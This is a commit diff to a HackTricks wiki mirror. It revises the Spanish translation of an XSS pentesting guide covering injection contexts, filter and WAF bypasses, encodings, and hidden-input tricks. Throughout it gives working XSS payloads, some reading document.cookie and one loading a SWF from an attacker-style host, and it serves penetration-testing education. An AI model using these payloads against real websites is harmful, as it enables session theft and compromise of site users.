mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/README.md', 'sr
This commit is contained in:
parent
7d19c48dfa
commit
7c062ac22d
@ -725,6 +725,7 @@
|
||||
- [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
- [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
|
||||
- [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
|
||||
- [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md)
|
||||
- [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
|
||||
- [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
|
||||
- [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)
|
||||
|
@ -4,65 +4,65 @@
|
||||
|
||||
## Metodología
|
||||
|
||||
1. Comprueba si **algún valor que controlas** (_parameters_, _path_, _headers_?, _cookies_?) se está **reflejando** en el HTML o **si es usado** por código **JS**.
|
||||
1. Comprueba si **algún valor que controlas** (_parameters_, _path_, _headers_?, _cookies_?) está siendo **reflejado** en el HTML o **usado** por código **JS**.
|
||||
2. **Encuentra el contexto** donde se refleja/usa.
|
||||
3. Si está **reflejado**
|
||||
1. Comprueba **qué símbolos puedes usar** y, dependiendo de eso, prepara el payload:
|
||||
1. En **HTML sin procesar**:
|
||||
1. En **raw HTML**:
|
||||
1. ¿Puedes crear nuevas etiquetas HTML?
|
||||
2. ¿Puedes usar eventos o atributos que soporten el protocolo `javascript:`?
|
||||
3. ¿Puedes eludir protecciones?
|
||||
4. ¿El contenido HTML está siendo interpretado por algún engine JS del lado cliente (_AngularJS_, _VueJS_, _Mavo_...)? podrías abusar de un [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
3. ¿Puedes bypassar protecciones?
|
||||
4. ¿El contenido HTML está siendo interpretado por algún motor JS del cliente (_AngularJS_, _VueJS_, _Mavo_...)? podrías abusar de un [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿podrías abusar de un [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
|
||||
2. Dentro de una **etiqueta HTML**:
|
||||
1. ¿Puedes salir al contexto de HTML sin procesar?
|
||||
1. ¿Puedes salir al contexto raw HTML?
|
||||
2. ¿Puedes crear nuevos eventos/atributos para ejecutar código JS?
|
||||
3. ¿El atributo en el que estás atrapado soporta ejecución de JS?
|
||||
4. ¿Puedes eludir protecciones?
|
||||
4. ¿Puedes bypassar protecciones?
|
||||
3. Dentro de **código JavaScript**:
|
||||
1. ¿Puedes escapar la etiqueta `<script>`?
|
||||
2. ¿Puedes escapar la cadena y ejecutar código JS distinto?
|
||||
3. ¿Tu input está en template literals \`\`?
|
||||
4. ¿Puedes eludir protecciones?
|
||||
4. **Función Javascript** que se está **ejecutando**
|
||||
2. ¿Puedes escapar la cadena y ejecutar diferente código JS?
|
||||
3. ¿Tu input está en template literals ``?
|
||||
4. ¿Puedes bypassar protecciones?
|
||||
4. Función de Javascript siendo **ejecutada**
|
||||
1. Puedes indicar el nombre de la función a ejecutar. e.g.: `?callback=alert(1)`
|
||||
4. Si es **usado**:
|
||||
1. Podrías explotar un **DOM XSS**, presta atención a cómo se controla tu input y si tu input controlado es usado por algún sink.
|
||||
4. Si está **usado**:
|
||||
1. Podrías explotar un **DOM XSS**, presta atención a cómo se controla tu input y si tu **input controlado es usado por algún sink.**
|
||||
|
||||
Cuando trabajes en un XSS complejo puede interesarte conocer sobre:
|
||||
Cuando trabajes en un XSS complejo podría interesarte saber sobre:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
debugging-client-side-js.md
|
||||
{{#endref}}
|
||||
|
||||
## Valores reflejados
|
||||
## Reflected values
|
||||
|
||||
Para explotar con éxito un XSS lo primero que necesitas encontrar es un **valor controlado por ti que se esté reflejando** en la página web.
|
||||
Para explotar exitosamente un XSS lo primero que necesitas encontrar es un **valor controlado por ti que esté siendo reflejado** en la página web.
|
||||
|
||||
- **Reflejado intermedio**: Si encuentras que el valor de un parámetro o incluso del path se refleja en la página web podrías explotar un **Reflected XSS**.
|
||||
- **Almacenado y reflejado**: Si encuentras que un valor controlado por ti se guarda en el servidor y se refleja cada vez que accedes a una página podrías explotar un **Stored XSS**.
|
||||
- **Accedido vía JS**: Si encuentras que un valor controlado por ti es accedido usando JS podrías explotar un **DOM XSS**.
|
||||
- **Intermediately reflected**: Si descubres que el valor de un parámetro o incluso la ruta se refleja en la página web podrías explotar una **Reflected XSS**.
|
||||
- **Stored and reflected**: Si encuentras que un valor controlado por ti se guarda en el servidor y se refleja cada vez que accedes a una página podrías explotar una **Stored XSS**.
|
||||
- **Accessed via JS**: Si encuentras que un valor controlado por ti es accedido usando JS podrías explotar un **DOM XSS**.
|
||||
|
||||
## Contextos
|
||||
|
||||
Al intentar explotar un XSS lo primero que necesitas saber es **dónde se refleja tu input**. Dependiendo del contexto, podrás ejecutar código JS arbitrario de distintas maneras.
|
||||
Al intentar explotar un XSS lo primero que necesitas saber es **dónde se refleja tu input**. Dependiendo del contexto, podrás ejecutar código JS arbitrario de diferentes maneras.
|
||||
|
||||
### HTML sin procesar
|
||||
|
||||
Si tu input se **refleja en el HTML sin procesar** de la página necesitarás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas etiquetas HTML posibles que podrías usar.\
|
||||
También, ten en cuenta [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
Si tu input se **refleja en el HTML sin procesar** de la página necesitarás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estos son solo algunos de los muchos posibles tags HTML que podrías usar.\
|
||||
Además, ten en cuenta [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### Dentro del atributo de una etiqueta HTML
|
||||
|
||||
Si tu input se refleja dentro del valor de un atributo de una etiqueta podrías intentar:
|
||||
|
||||
1. **Escapar del atributo y de la etiqueta** (entonces estarás en el HTML sin procesar) y crear una nueva etiqueta HTML para abusar: `"><img [...]`
|
||||
1. **Escapar del atributo y de la etiqueta** (entonces estarás en el raw HTML) y crear una nueva etiqueta HTML para abusar: `"><img [...]`
|
||||
2. Si **puedes escapar del atributo pero no de la etiqueta** (`>` está codificado o eliminado), dependiendo de la etiqueta podrías **crear un evento** que ejecute código JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Si **no puedes escapar del atributo** (`"` está siendo codificado o eliminado), entonces dependiendo de **qué atributo** se refleja tu valor y si controlas todo el valor o solo una parte podrás abusar de él. Por **ejemplo**, si controlas un evento como `onclick=` podrás hacer que ejecute código arbitrario cuando se haga click. Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
|
||||
4. Si tu input se refleja dentro de "**etiquetas no explotables**" podrías probar el truco de **`accesskey`** para abusar de la vuln (necesitarás algún tipo de social engineering para explotarlo): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
3. Si **no puedes escapar del atributo** (`"` está siendo codificado o eliminado), entonces dependiendo de **qué atributo** refleja tu valor **si controlas todo el valor o solo una parte** podrás abusar de él. Por **ejemplo**, si controlas un event como `onclick=` podrás hacer que ejecute código arbitrario cuando se haga click. Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
|
||||
4. Si tu input se refleja dentro de "tags no explotables" podrías probar el truco del **`accesskey`** para abusar de la vulnerabilidad (necesitarás algún tipo de ingeniería social para explotarlo): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Weird example of Angular executing XSS if you controls a class name:
|
||||
Ejemplo extraño de Angular ejecutando XSS si controlas un nombre de clase:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
@ -70,15 +70,15 @@ Weird example of Angular executing XSS if you controls a class name:
|
||||
```
|
||||
### Dentro del código JavaScript
|
||||
|
||||
En este caso tu entrada se refleja entre **`<script> [...] </script>`** tags de una página HTML, dentro de un archivo `.js` o dentro de un atributo que usa el protocolo **`javascript:`**:
|
||||
In this case your input is reflected between **`<script> [...] </script>`** tags of a HTML page, inside a `.js` file or inside an attribute using **`javascript:`** protocol:
|
||||
|
||||
- Si se refleja entre **`<script> [...] </script>`** tags, incluso si tu entrada está dentro de cualquier tipo de comillas, puedes intentar inyectar `</script>` y escapar de este contexto. Esto funciona porque el **navegador primero analizará las etiquetas HTML** y luego el contenido, por lo tanto, no notará que tu etiqueta `</script>` inyectada está dentro del código HTML.
|
||||
- Si se refleja **dentro de una JS string** y el truco anterior no funciona necesitarías **salir** de la cadena, **ejecutar** tu código y **reconstruir** el código JS (si hay algún error, no se ejecutará:
|
||||
- If reflected between **`<script> [...] </script>`** tags, even if your input if inside any kind of quotes, you can try to inject `</script>` and escape from this context. This works because the **browser will first parse the HTML tags** and then the content, therefore, it won't notice that your injected `</script>` tag is inside the HTML code.
|
||||
- If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code (if there is any error, it won't be executed:
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- Si se refleja dentro de template literals puedes **embed JS expressions** usando la sintaxis `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode encode** works to write **valid javascript code**:
|
||||
- If reflected inside template literals you can **embed JS expressions** using `${ ... }` syntax: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode encode** funciona para escribir **código javascript válido**:
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
@ -86,7 +86,7 @@ alert(1)
|
||||
```
|
||||
#### Javascript Hoisting
|
||||
|
||||
Javascript Hoisting hace referencia a la posibilidad de **declarar funciones, variables o clases después de que se usan, de modo que puedes abusar de escenarios donde un XSS está usando variables o funciones no declaradas.**\
|
||||
Javascript Hoisting se refiere a la posibilidad de **declarar funciones, variables o clases después de que se usan, de modo que puedes abusar de escenarios donde un XSS está usando variables o funciones no declaradas.**\
|
||||
**Consulta la siguiente página para más información:**
|
||||
|
||||
|
||||
@ -94,17 +94,17 @@ Javascript Hoisting hace referencia a la posibilidad de **declarar funciones, va
|
||||
js-hoisting.md
|
||||
{{#endref}}
|
||||
|
||||
### Función de Javascript
|
||||
### Javascript Function
|
||||
|
||||
Varias páginas web tienen endpoints que **aceptan como parámetro el nombre de la función a ejecutar**. Un ejemplo común en entornos reales es algo como: `?callback=callbackFunc`.
|
||||
|
||||
Una buena forma de detectar si algo que viene directamente del usuario está intentando ejecutarse es **modificar el valor del parámetro** (por ejemplo a 'Vulnerable') y mirar en la consola errores como:
|
||||
Una buena forma de averiguar si algo proporcionado directamente por el usuario intenta ser ejecutado es **modificar el valor del parámetro** (por ejemplo a 'Vulnerable') y buscar en la consola errores como:
|
||||
|
||||
.png>)
|
||||
|
||||
Si es vulnerable, podrías ser capaz de **disparar un alert** simplemente enviando el valor: **`?callback=alert(1)`**. Sin embargo, es muy común que estos endpoints **validen el contenido** para permitir solo letras, números, puntos y guiones bajos (**`[\w\._]`**).
|
||||
|
||||
Sin embargo, incluso con esa limitación todavía es posible realizar algunas acciones. Esto se debe a que puedes usar esos caracteres válidos para **acceder a cualquier elemento del DOM**:
|
||||
Sin embargo, incluso con esa limitación aún es posible realizar algunas acciones. Esto se debe a que puedes usar esos caracteres válidos para **acceder a cualquier elemento del DOM**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -116,11 +116,11 @@ nextElementSibiling
|
||||
lastElementSibiling
|
||||
parentElement
|
||||
```
|
||||
También puedes intentar invocar **Javascript functions** directamente: `obj.sales.delOrders`.
|
||||
También puedes intentar **invocar funciones Javascript** directamente: `obj.sales.delOrders`.
|
||||
|
||||
Sin embargo, normalmente los endpoints que ejecutan la función indicada son endpoints sin un DOM muy interesante; otras páginas en la misma origin tendrán un DOM más interesante para realizar más acciones.
|
||||
Sin embargo, por lo general los endpoints que ejecutan la función indicada son endpoints sin un DOM muy interesante, **otras páginas del mismo origen** tendrán un **DOM más interesante** para realizar más acciones.
|
||||
|
||||
Por lo tanto, para abusar de esta vulnerabilidad en un DOM diferente se desarrolló la explotación Same Origin Method Execution (SOME):
|
||||
Por lo tanto, para **abusar de esta vulnerabilidad en un DOM diferente** se desarrolló la explotación **Same Origin Method Execution (SOME)**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -129,7 +129,7 @@ some-same-origin-method-execution.md
|
||||
|
||||
### DOM
|
||||
|
||||
Hay código JS que está usando de forma insegura algunos datos controlados por un atacante, como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario.
|
||||
Hay **JS code** que está utilizando de forma **insegura** algunos **datos controlados por un atacante** como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -138,7 +138,7 @@ dom-xss.md
|
||||
|
||||
### **Universal XSS**
|
||||
|
||||
Este tipo de XSS se puede encontrar en cualquier lugar. No dependen únicamente de la explotación en el cliente de una aplicación web, sino de cualquier contexto. Este tipo de ejecución arbitraria de JavaScript incluso puede ser abusada para obtener RCE, leer archivos arbitrarios en clientes y servidores, y más.\
|
||||
Estos tipos de XSS pueden encontrarse **en cualquier lugar**. No dependen únicamente de la explotación del cliente de una aplicación web sino de **cualquier** **contexto**. Estos tipos de **ejecución arbitraria de JavaScript** incluso pueden usarse para obtener **RCE**, **leer** **archivos** **arbitrarios** en clientes y servidores, y más.\
|
||||
Algunos **ejemplos**:
|
||||
|
||||
|
||||
@ -151,17 +151,17 @@ server-side-xss-dynamic-pdf.md
|
||||
../../network-services-pentesting/pentesting-web/electron-desktop-apps/
|
||||
{{#endref}}
|
||||
|
||||
## Imagen de codificación para bypass de WAF
|
||||
## WAF bypass encoding image
|
||||
|
||||
.jpg>)
|
||||
|
||||
## Inyección dentro de HTML crudo
|
||||
## Injecting inside raw HTML
|
||||
|
||||
Cuando tu input se refleja dentro de la página HTML o puedes escapar e inyectar código HTML en este contexto, lo primero que debes hacer es comprobar si puedes abusar de `<` para crear nuevas etiquetas: simplemente intenta reflejar ese carácter y verifica si está siendo HTML encoded o eliminado, o si se refleja sin cambios. Solo en este último caso podrás explotar esta situación.\
|
||||
Para estos casos también ten en cuenta [**Client Side Template Injection**](../client-side-template-injection-csti.md).\
|
||||
_**Nota: Un comentario HTML puede cerrarse usando `-->` o `--!>`**_
|
||||
Cuando tu input se refleja **dentro de la página HTML** o puedes escapar e inyectar código HTML en este contexto, lo **primero** que necesitas hacer es comprobar si puedes abusar de `<` para crear nuevas etiquetas: simplemente intenta **reflejar** ese **carácter** y comprueba si está siendo **codificado en HTML** o **eliminado** o si se **refleja sin cambios**. **Solo en este último caso podrás explotar esta situación**.\
|
||||
Para estos casos también **ten en cuenta** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Nota: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\*_
|
||||
|
||||
En este caso, y si no se usa black/whitelisting, podrías usar payloads como:
|
||||
En este caso y si no se usa black/whitelisting, podrías usar payloads como:
|
||||
```html
|
||||
<script>
|
||||
alert(1)
|
||||
@ -169,22 +169,22 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Pero, si se está usando black/whitelisting de tags/attributes, tendrás que **brute-force para descubrir qué tags** puedes crear.\
|
||||
Una vez que hayas **localizado qué tags están permitidos**, tendrás que **brute-force atributos/eventos** dentro de los tags válidos encontrados para ver cómo puedes atacar el contexto.
|
||||
Pero, si se está utilizando black/whitelisting de etiquetas/atributos, necesitarás **brute-force qué etiquetas** puedes crear.\
|
||||
Una vez que hayas **localizado qué etiquetas están permitidas**, tendrás que **brute-force atributos/eventos** dentro de las etiquetas válidas encontradas para ver cómo puedes atacar el contexto.
|
||||
|
||||
### Tags/Events brute-force
|
||||
### Etiquetas/Eventos brute-force
|
||||
|
||||
Ve a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) y haz clic en _**Copy tags to clipboard**_. Luego, envía todos ellos usando Burp intruder y comprueba si algún tag no fue detectado como malicioso por el WAF. Una vez que hayas descubierto qué tags puedes usar, puedes **brute-force todos los events** usando los tags válidos (en la misma página haz clic en _**Copy events to clipboard**_ y sigue el mismo procedimiento que antes).
|
||||
Ve a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) y haz clic en _**Copy tags to clipboard**_. Luego, envíalos todos usando Burp intruder y comprueba si alguna etiqueta no fue detectada como maliciosa por el WAF. Una vez que hayas descubierto qué etiquetas puedes usar, puedes **brute force all the events** usando las etiquetas válidas (en la misma página web haz clic en _**Copy events to clipboard**_ y sigue el mismo procedimiento que antes).
|
||||
|
||||
### Custom tags
|
||||
### Etiquetas personalizadas
|
||||
|
||||
Si no encuentras ningún tag HTML válido, puedes intentar **crear un custom tag** y ejecutar código JS con el atributo `onfocus`. En la petición XSS, necesitas terminar la URL con `#` para hacer que la página **haga focus en ese objeto** y **ejecute** el código:
|
||||
Si no encontraste ninguna etiqueta HTML válida, podrías intentar **crear una etiqueta personalizada** y ejecutar código JS con el atributo `onfocus`. En la petición XSS, necesitas terminar la URL con `#` para que la página **haga foco en ese objeto** y **ejecute** el código:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Blacklist Bypasses
|
||||
|
||||
Si se está usando algún tipo de blacklist, podrías intentar bypassearla con algunos trucos tontos:
|
||||
Si se está usando algún tipo de blacklist, podrías intentar evadirla con algunos trucos tontos:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
@ -236,29 +236,29 @@ onerror=alert`1`
|
||||
```
|
||||
### Length bypass (small XSSs)
|
||||
|
||||
> [!NOTE] > **Más payloads tiny XSS para diferentes entornos** [**se pueden encontrar aquí**](https://github.com/terjanq/Tiny-XSS-Payloads) y [**aquí**](https://tinyxss.terjanq.me).
|
||||
> [!NOTE] > **Más tiny XSS para diferentes entornos** payload [**can be found here**](https://github.com/terjanq/Tiny-XSS-Payloads) y [**here**](https://tinyxss.terjanq.me).
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
El último está usando 2 caracteres unicode que se expanden a 5: telsr\
|
||||
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
|
||||
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
|
||||
La última está usando 2 caracteres unicode que se expanden a 5: telsr\
|
||||
Más de estos caracteres se pueden encontrar [here](https://www.unicode.org/charts/normalization).\
|
||||
Para comprobar en qué caracteres se descomponen revisa [here](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Si para explotar la vulnerabilidad necesitas que el **usuario haga clic en un enlace o en un formulario** con datos prellenados, podrías intentar [**abusar de Clickjacking**](../clickjacking.md#xss-clickjacking) (si la página es vulnerable).
|
||||
Si para explotar la vulnerabilidad necesitas que el **usuario haga clic en un enlace o en un formulario** con datos prepopulados podrías intentar [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (si la página es vulnerable).
|
||||
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
Si piensas que **es imposible crear una etiqueta HTML con un atributo que ejecute código JS**, deberías revisar [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) porque podrías **exploit** la vulnerabilidad **sin** ejecutar código **JS**.
|
||||
Si piensas que **es imposible crear una etiqueta HTML con un atributo para ejecutar JS code**, deberías revisar [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) porque podrías **exploit** la vulnerabilidad **sin** ejecutar **JS** code.
|
||||
|
||||
## Inyectando dentro de una etiqueta HTML
|
||||
## Inyectando dentro de la etiqueta HTML
|
||||
|
||||
### Dentro de la etiqueta/escapando del valor del atributo
|
||||
|
||||
Si estás **dentro de una etiqueta HTML**, lo primero que podrías intentar es **escapar** de la etiqueta y usar algunas de las técnicas mencionadas en la [previous section](#injecting-inside-raw-html) para ejecutar código JS.\
|
||||
Si **no puedes escapar de la etiqueta**, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo usando algún payload como (_nota que en este ejemplo se usan comillas dobles para escapar del atributo, no las necesitarás si tu entrada se refleja directamente dentro de la etiqueta_):
|
||||
Si **no puedes escapar de la etiqueta**, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo usando un payload como (_nota que en este ejemplo se usan comillas dobles para escapar del atributo, no las necesitarás si tu input se refleja directamente dentro de la etiqueta_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -275,14 +275,14 @@ Si **no puedes escapar de la etiqueta**, podrías crear nuevos atributos dentro
|
||||
```
|
||||
### Dentro del atributo
|
||||
|
||||
Aunque **no puedas escapar del atributo** (`"` está siendo codificado o eliminado), dependiendo de **en qué atributo** se refleje tu valor y **si controlas todo el valor o solo una parte** podrás abusar de ello. Por **ejemplo**, si controlas un evento como `onclick=` podrás hacer que ejecute código arbitrario cuando se haga clic.\
|
||||
Incluso si no **puedes escapar del atributo** (`"` está siendo codificado o eliminado), dependiendo de **en qué atributo** se refleja tu valor y **si controlas todo el valor o solo una parte** podrás abusar de él. Por **ejemplo**, si controlas un evento como `onclick=` podrás hacer que ejecute código arbitrario cuando se haga clic.\
|
||||
Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Bypass dentro del evento usando HTML encoding/URL encode**
|
||||
**Bypass inside event using HTML encoding/URL encode**
|
||||
|
||||
Los **caracteres HTML codificados** dentro del valor de los atributos de las etiquetas HTML son **decodificados en tiempo de ejecución**. Por lo tanto algo como lo siguiente será válido (la payload está en negrita): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
Los **caracteres codificados en HTML** dentro del valor de los atributos de las etiquetas HTML se **decodifican en tiempo de ejecución**. Por lo tanto algo como lo siguiente será válido (la payload está en negrita): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
Ten en cuenta que **cualquier tipo de HTML encode es válido**:
|
||||
Ten en cuenta que **cualquier tipo de codificación HTML es válida**:
|
||||
```javascript
|
||||
//HTML entities
|
||||
'-alert(1)-'
|
||||
@ -311,7 +311,7 @@ Ten en cuenta que **cualquier tipo de HTML encode es válido**:
|
||||
```
|
||||
### Protocolos especiales dentro del atributo
|
||||
|
||||
Ahí puedes usar los protocolos **`javascript:`** o **`data:`** en algunos lugares para **ejecutar código JS arbitrario**. Algunos requerirán interacción del usuario; otros no.
|
||||
Ahí puedes usar los protocolos **`javascript:`** o **`data:`** en algunos lugares para **ejecutar código JS arbitrario**. Algunos requerirán interacción del usuario y otros no.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -353,13 +353,13 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
|
||||
<iframe srcdoc="<svg onload=alert(4);>">
|
||||
```
|
||||
**Otros obfuscation tricks**
|
||||
**Otras técnicas de ofuscación**
|
||||
|
||||
_**En este caso el HTML encoding y el Unicode encoding de la sección anterior también son válidos, ya que estás dentro de un atributo.**_
|
||||
_**En este caso, el truco de codificación HTML y el truco de codificación Unicode de la sección anterior también es válido, ya que estás dentro de un atributo.**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Además, hay otro **buen truco** para estos casos: **Incluso si tu entrada dentro de `javascript:...` está siendo codificada en la URL, será decodificada antes de que se ejecute.** Entonces, si necesitas **escapar** de la **cadena** usando una **comilla simple** y ves que **está siendo codificada en la URL**, recuerda que **no importa,** será **interpretada** como una **comilla simple** durante el tiempo de **ejecución**.
|
||||
Además, hay otro **truco útil** para estos casos: **Incluso si tu entrada dentro de `javascript:...` está siendo URL encoded, será URL decoded antes de ser ejecutado.** Así que, si necesitas **escape** del **string** usando un **single quote** y ves que **está siendo URL encoded**, recuerda que **no importa,** será **interpretado** como un **single quote** durante el tiempo de **ejecución**.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
@ -367,9 +367,9 @@ Además, hay otro **buen truco** para estos casos: **Incluso si tu entrada dentr
|
||||
```
|
||||
Ten en cuenta que si intentas **usar ambos** `URLencode + HTMLencode` en cualquier orden para codificar el **payload** no **funcionará**, pero puedes **mezclarlos dentro del payload**.
|
||||
|
||||
**Uso de codificación Hex y Octal con `javascript:`**
|
||||
**Usando Hex y Octal encode con `javascript:`**
|
||||
|
||||
Puedes usar **codificación Hex y Octal** dentro del atributo `src` de `iframe` (al menos) para declarar **etiquetas HTML para ejecutar JS**:
|
||||
Puedes usar **Hex** y **Octal encode** dentro del atributo `src` de `iframe` (al menos) para declarar **etiquetas HTML para ejecutar JS**:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
@ -385,17 +385,17 @@ Puedes usar **codificación Hex y Octal** dentro del atributo `src` de `iframe`
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Si puedes inyectar cualquier URL en una etiqueta arbitraria **`<a href=`** que contenga los atributos **`target="_blank" and rel="opener"`**, consulta la **siguiente página para explotar este comportamiento**:
|
||||
Si puedes inyectar cualquier URL en una **`<a href=`** arbitraria que contenga los atributos **`target="_blank" and rel="opener"`**, consulta la **siguiente página para explotar este comportamiento**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
{{#endref}}
|
||||
|
||||
### on Event Handlers Bypass
|
||||
### Bypass de "on" Event Handlers
|
||||
|
||||
Primero, consulta esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para encontrar **"on" event handlers** útiles.\
|
||||
En caso de que alguna blacklist te impida crear estos event handlers, puedes probar los siguientes bypasses:
|
||||
Primero revisa esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obtener **"on" event handlers** útiles.\
|
||||
Si existe una blacklist que te impide crear estos event handlers, puedes probar los siguientes bypasses:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
@ -410,14 +410,14 @@ Firefox: %09 %20 %28 %2C %3B
|
||||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS en "Unexploitable tags" (hidden input, link, canonical, meta)
|
||||
### XSS en "etiquetas no explotables" (hidden input, link, canonical, meta)
|
||||
|
||||
Desde [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ahora es posible abusar de hidden inputs con:**
|
||||
Desde [**aquí**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ahora es posible abusar de los hidden inputs con:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
||||
```
|
||||
Y en las **meta tags**:
|
||||
Y en **meta tags**:
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta
|
||||
@ -431,65 +431,65 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Desde [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Puedes ejecutar un **XSS payload dentro de un atributo oculto**, siempre que puedas **persuadir** a la **víctima** para que pulse la **combinación de teclas**. En Firefox en Windows/Linux la combinación de teclas es **ALT+SHIFT+X** y en OS X es **CTRL+ALT+X**. Puedes especificar una combinación diferente usando otra tecla en el atributo accesskey. Aquí está el vector:
|
||||
Desde [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Puedes ejecutar un **XSS payload inside a hidden attribute**, siempre que puedas **persuadir** a la **víctima** para que presione la **combinación de teclas**. En Firefox (Windows/Linux) la **combinación de teclas** es **ALT+SHIFT+X** y en OS X es **CTRL+ALT+X**. Puedes especificar una combinación de teclas diferente usando una tecla distinta en el access key attribute. Aquí está el vector:
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**El XSS payload será algo como esto: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
**The XSS payload will be something like this: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
